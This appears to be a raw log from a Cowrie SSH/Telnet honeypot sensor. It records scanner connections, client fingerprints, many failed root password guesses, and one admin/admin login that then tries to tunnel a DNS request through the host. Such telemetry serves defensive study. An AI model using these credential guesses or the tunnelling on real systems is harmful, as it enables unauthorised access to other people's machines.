{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:00.230784Z","src_ip":"221.161.235.168","session":"5841e955c8cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88888888","message":"login attempt [root/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:01.050372Z","src_ip":"221.161.235.168","session":"5841e955c8cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:02.252347Z","src_ip":"221.161.235.168","session":"5841e955c8cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.167.237.191","src_port":42900,"dst_ip":"159.203.135.109","dst_port":22,"session":"f644b1410ed2","protocol":"ssh","message":"New connection: 190.167.237.191:42900 (159.203.135.109:22) [session: f644b1410ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:05.510987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:05.515866Z","src_ip":"190.167.237.191","session":"f644b1410ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:05.579109Z","src_ip":"190.167.237.191","session":"f644b1410ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:05.860873Z","src_ip":"190.167.237.191","session":"f644b1410ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:06.926399Z","src_ip":"190.167.237.191","session":"f644b1410ed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.36.56.176","src_port":11521,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b4726ee158f","protocol":"telnet","message":"New connection: 138.36.56.176:11521 (159.203.135.109:23) [session: 1b4726ee158f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:10.799993Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":58738,"dst_ip":"159.203.135.109","dst_port":22,"session":"976b3f18d66c","protocol":"ssh","message":"New connection: 165.154.6.49:58738 (159.203.135.109:22) [session: 976b3f18d66c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:27.819420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:27.828626Z","src_ip":"165.154.6.49","session":"976b3f18d66c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:28.048916Z","src_ip":"165.154.6.49","session":"976b3f18d66c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"walden","message":"login attempt [root/walden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:28.957748Z","src_ip":"165.154.6.49","session":"976b3f18d66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":55962,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b18b42c9572","protocol":"telnet","message":"New connection: 142.93.69.27:55962 (10.17.0.5:23) [session: 4b18b42c9572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:29.659498Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:30.179474Z","src_ip":"165.154.6.49","session":"976b3f18d66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":56852,"dst_ip":"159.203.135.109","dst_port":22,"session":"44a926858f63","protocol":"ssh","message":"New connection: 139.59.208.49:56852 (159.203.135.109:22) [session: 44a926858f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:32.027445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:32.031896Z","src_ip":"139.59.208.49","session":"44a926858f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:32.117355Z","src_ip":"139.59.208.49","session":"44a926858f63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666","message":"login attempt [root/6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:32.488198Z","src_ip":"139.59.208.49","session":"44a926858f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:33.575905Z","src_ip":"139.59.208.49","session":"44a926858f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.161.235.168","src_port":55208,"dst_ip":"159.203.135.109","dst_port":22,"session":"60dff3212ae4","protocol":"ssh","message":"New connection: 221.161.235.168:55208 (159.203.135.109:22) [session: 60dff3212ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:37.645588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:37.650140Z","src_ip":"221.161.235.168","session":"60dff3212ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:37.842805Z","src_ip":"221.161.235.168","session":"60dff3212ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kundan","message":"login attempt [root/kundan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:38.643633Z","src_ip":"221.161.235.168","session":"60dff3212ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:39.839457Z","src_ip":"221.161.235.168","session":"60dff3212ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35104,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c17927f3a77","protocol":"ssh","message":"New connection: 8.218.166.49:35104 (10.17.0.5:22) [session: 4c17927f3a77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:39.977039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:39.982210Z","src_ip":"8.218.166.49","session":"4c17927f3a77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:40.187497Z","src_ip":"8.218.166.49","session":"4c17927f3a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:40.798405Z","src_ip":"8.218.166.49","session":"4c17927f3a77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.360084772109985,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:40.965353Z","src_ip":"142.93.69.27","session":"7369b538cb4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34008,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd013c5f1a5f","protocol":"ssh","message":"New connection: 87.251.64.176:34008 (10.17.0.5:22) [session: dd013c5f1a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:47.381882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:47.386369Z","src_ip":"87.251.64.176","session":"dd013c5f1a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:47.483078Z","src_ip":"87.251.64.176","session":"dd013c5f1a5f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:47.774478Z","src_ip":"87.251.64.176","session":"dd013c5f1a5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:47.873929Z","session":"dd013c5f1a5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:47.972380Z","src_ip":"87.251.64.176","session":"dd013c5f1a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:53:48.072449Z","src_ip":"87.251.64.176","session":"dd013c5f1a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":49502,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff168ab1cd5","protocol":"ssh","message":"New connection: 124.155.125.131:49502 (159.203.135.109:22) [session: 5ff168ab1cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:03.444388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:03.450471Z","src_ip":"124.155.125.131","session":"5ff168ab1cd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:03.628107Z","src_ip":"124.155.125.131","session":"5ff168ab1cd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mkt","message":"login attempt [root/mkt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:04.361540Z","src_ip":"124.155.125.131","session":"5ff168ab1cd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:05.541406Z","src_ip":"124.155.125.131","session":"5ff168ab1cd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41052,"dst_ip":"10.17.0.5","dst_port":22,"session":"98788285b165","protocol":"ssh","message":"New connection: 8.218.166.49:41052 (10.17.0.5:22) [session: 98788285b165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:54:14.409249Z"}
